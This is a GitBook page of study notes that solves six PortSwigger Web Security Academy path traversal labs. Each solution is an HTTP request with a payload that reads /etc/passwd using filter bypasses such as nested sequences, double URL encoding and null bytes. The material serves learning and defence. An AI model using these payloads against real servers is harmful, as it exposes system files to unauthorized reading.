🕸️
Web Security Notes
  • README
  • Portswigger
    • Access Control
      • notes
      • labs
    • Authentication
      • notes
      • labs
    • Business Logic Vulnerabilities
      • notes
      • labs
    • Clickjacking
      • notes
      • labs
    • Command Injection
      • notes
      • labs
    • CORS
      • notes
      • labs
    • CSRF
      • notes
      • labs
    • Directory Traversal
      • notes
      • labs
    • DOM-based Vulnerabilities
      • notes
      • labs
    • File upload Vulnerabilities
      • notes
      • labs
    • HTTP Host Header Attacks
      • notes
      • labs
    • HTTP Request Smuggling
      • notes
      • labs
    • Information Disclosure
      • notes
      • labs
    • Insecure Deserialization
      • notes
      • labs
    • JWT Attacks
      • notes
      • labs
    • OAuth Authentication
      • notes
      • labs
    • Server Side Template Injection
      • notes
      • labs
    • SQL injection
      • notes
      • labs
      • cheat sheet
    • SSRF
      • notes
      • labs
    • Web Cache Poisoning
      • notes
      • labs
    • WebSockets
      • notes
      • labs
    • XSS
      • notes
      • labs
    • XXE Injection
      • notes
      • labs
Powered by GitBook
On this page
  • Lab - 1: File path traversal, simple case
  • Lab - 2: File path traversal, traversal sequences blocked with absolute path bypass
  • Lab - 3: File path traversal, traversal sequences stripped non-recursively
  • Lab - 4: File path traversal, traversal sequences stripped with superfluous URL-decode
  • Lab - 5: File path traversal, validation of start of path
  • Lab - 6: File path traversal, validation of file extension with null byte bypass
  1. Portswigger
  2. Directory Traversal

labs

Lab - 1: File path traversal, simple case

GET /image?filename=../../../etc/passwd HTTP/1.1
...
Referer: https://0ab800f904abed05c02be352002e0049.web-security-academy.net/product?productId=1
...

Lab - 2: File path traversal, traversal sequences blocked with absolute path bypass

GET /image?filename=/etc/passwd HTTP/1.1
...
Referer: https://0ab800f904abed05c02be352002e0049.web-security-academy.net/product?productId=1
...

Lab - 3: File path traversal, traversal sequences stripped non-recursively

GET /image?filename=....//....//....//etc/passwd HTTP/1.1
...
Referer: https://0ab800f904abed05c02be352002e0049.web-security-academy.net/product?productId=1
...

Lab - 4: File path traversal, traversal sequences stripped with superfluous URL-decode

GET /image?filename=..%252f..%252f..%252fetc/passwd HTTP/1.1
...
Referer: https://0ab800f904abed05c02be352002e0049.web-security-academy.net/product?productId=1
...

Lab - 5: File path traversal, validation of start of path

GET /image?filename=/var/www/images/../../../etc/passwd HTTP/1.1
...
Referer: https://0ab800f904abed05c02be352002e0049.web-security-academy.net/product?productId=1
...

Lab - 6: File path traversal, validation of file extension with null byte bypass

GET /image?filename=../../../etc/passwd%00.jpg HTTP/1.1
...
Referer: https://0ab800f904abed05c02be352002e0049.web-security-academy.net/product?productId=1
...
PreviousnotesNextDOM-based Vulnerabilities

Last updated 2 years ago